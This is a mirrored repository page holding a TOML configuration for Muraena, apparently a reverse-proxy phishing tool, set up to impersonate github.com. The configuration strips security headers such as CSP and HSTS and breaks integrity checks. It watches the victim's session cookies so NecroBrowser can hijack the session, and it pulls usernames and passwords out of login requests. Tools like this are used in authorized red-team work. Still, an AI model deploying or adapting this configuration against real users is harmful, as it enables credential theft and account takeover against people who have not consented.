mirror of
https://github.com/muraenateam/muraena.git
synced 2026-07-21 09:09:08 +00:00
185 lines
No EOL
3.3 KiB
TOML
185 lines
No EOL
3.3 KiB
TOML
[proxy]
|
|
# Phishing domain
|
|
phishing = "phishing.com"
|
|
|
|
# Target domain to proxy
|
|
destination = "github.com"
|
|
|
|
# Listening IP address
|
|
IP = "0.0.0.0"
|
|
|
|
# Listeninng TCP Port
|
|
port = 443
|
|
|
|
# Force HTTP to HTTPS redirection
|
|
[proxy.HTTPtoHTTPS]
|
|
enabled = true
|
|
HTTPport = 80
|
|
|
|
|
|
#
|
|
# Proxy's replacement rules
|
|
#
|
|
[transform]
|
|
|
|
# List of content types to exclude from the transformation process
|
|
skipContentType = [ "font/*", "image/*" ]
|
|
|
|
# Enable transformation rules in base64 strings
|
|
[transform.base64]
|
|
enabled = false
|
|
padding = [ "=", "." ]
|
|
|
|
[transform.request]
|
|
headers = [
|
|
"Cookie",
|
|
"Referer",
|
|
"Origin",
|
|
"X-Forwarded-For"
|
|
]
|
|
|
|
[transform.response]
|
|
headers = [
|
|
"Location",
|
|
"WWW-Authenticate",
|
|
"Origin",
|
|
"Set-Cookie",
|
|
"Access-Control-Allow-Origin"
|
|
]
|
|
|
|
# Generic replacement rules:
|
|
# it applies to body and any http header enabled for manipulation
|
|
content = [
|
|
[ "integrity", "intintint" ]
|
|
]
|
|
|
|
|
|
#
|
|
# Proxy's wiping rules
|
|
#
|
|
[remove]
|
|
|
|
[remove.request]
|
|
headers = [
|
|
"X-Forwarded-For"
|
|
]
|
|
|
|
[remove.response]
|
|
headers = [
|
|
"Content-Security-Policy",
|
|
"Content-Security-Policy-Report-Only",
|
|
"Strict-Transport-Security",
|
|
"X-XSS-Protection",
|
|
"X-Content-Type-Options",
|
|
"X-Frame-Options",
|
|
"Referrer-Policy",
|
|
"X-Forwarded-For"
|
|
]
|
|
|
|
#
|
|
# Rudimental redirection rules
|
|
#
|
|
[[drop]]
|
|
path = "/logout"
|
|
redirectTo = "https://github.com"
|
|
|
|
|
|
#
|
|
# LOG
|
|
#
|
|
[log]
|
|
enabled = true
|
|
filePath = "muraena.log"
|
|
|
|
|
|
#
|
|
# TLS
|
|
#
|
|
[tls]
|
|
enabled = true
|
|
|
|
# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the
|
|
# filepath
|
|
expand = false
|
|
certificate = "./cert.pem"
|
|
key = "./privkey.pem"
|
|
root = "./fullchain.pem"
|
|
|
|
#
|
|
# CRAWLER
|
|
#
|
|
[crawler]
|
|
enabled = false
|
|
depth = 3
|
|
upto = 20
|
|
externalOriginPrefix = "cdn-"
|
|
externalOrigins = [
|
|
"*.githubassets.com"
|
|
]
|
|
|
|
#
|
|
# NECROBROWSER
|
|
#
|
|
[necrobrowser]
|
|
enabled = true
|
|
endpoint = "http://127.0.0.1:3000/instrument"
|
|
profile = "./config/instrument.github.necro"
|
|
|
|
[necrobrowser.keepalive]
|
|
# GET on an authenticated endpoint to keep the session alive
|
|
# every keepalive request is processed as its own necrotask
|
|
enabled = false
|
|
minutes = 5 # keeps alive the session every 5 minutes
|
|
|
|
|
|
[necrobrowser.trigger]
|
|
type = "cookies"
|
|
values = ["user_session", "dotcom_user"] # these are two cookies set by github after successful auth
|
|
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
|
|
|
|
|
|
#
|
|
# STATIC SERVER
|
|
#
|
|
[staticServer]
|
|
enabled = false
|
|
port = 8080
|
|
localPath = "./static/"
|
|
urlPath = "/evilpath/"
|
|
|
|
|
|
#
|
|
# TRACKING
|
|
#
|
|
[tracking]
|
|
enabled = true
|
|
|
|
# the tracking below supposes your phishing url will be something like:
|
|
# https://github.com/GithubProfile/aaa-111-bbb (see regex below)
|
|
# NOTE: the URL doesn't need to exist, so this is also valid (update identifier accordingly):
|
|
# https://github.com/GithubProfileFooBar/aaa-111-bbb
|
|
type = "path"
|
|
|
|
# Tracking identifier
|
|
identifier = "_GithubProfile_"
|
|
|
|
# Rule to generate and validate a tracking identifier
|
|
regex = "[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}"
|
|
|
|
[tracking.urls]
|
|
credentials = [ "/session" ]
|
|
|
|
# we don't need this anymore since we manage via necrobrowser.trigger
|
|
# authSession = [ "/settings/profile" ]
|
|
|
|
[[tracking.patterns]]
|
|
label = "Username"
|
|
matching = "login"
|
|
start = "login="
|
|
end = "&password="
|
|
|
|
[[tracking.patterns]]
|
|
label = "Password"
|
|
matching = "password"
|
|
start = "password="
|
|
end = "&" |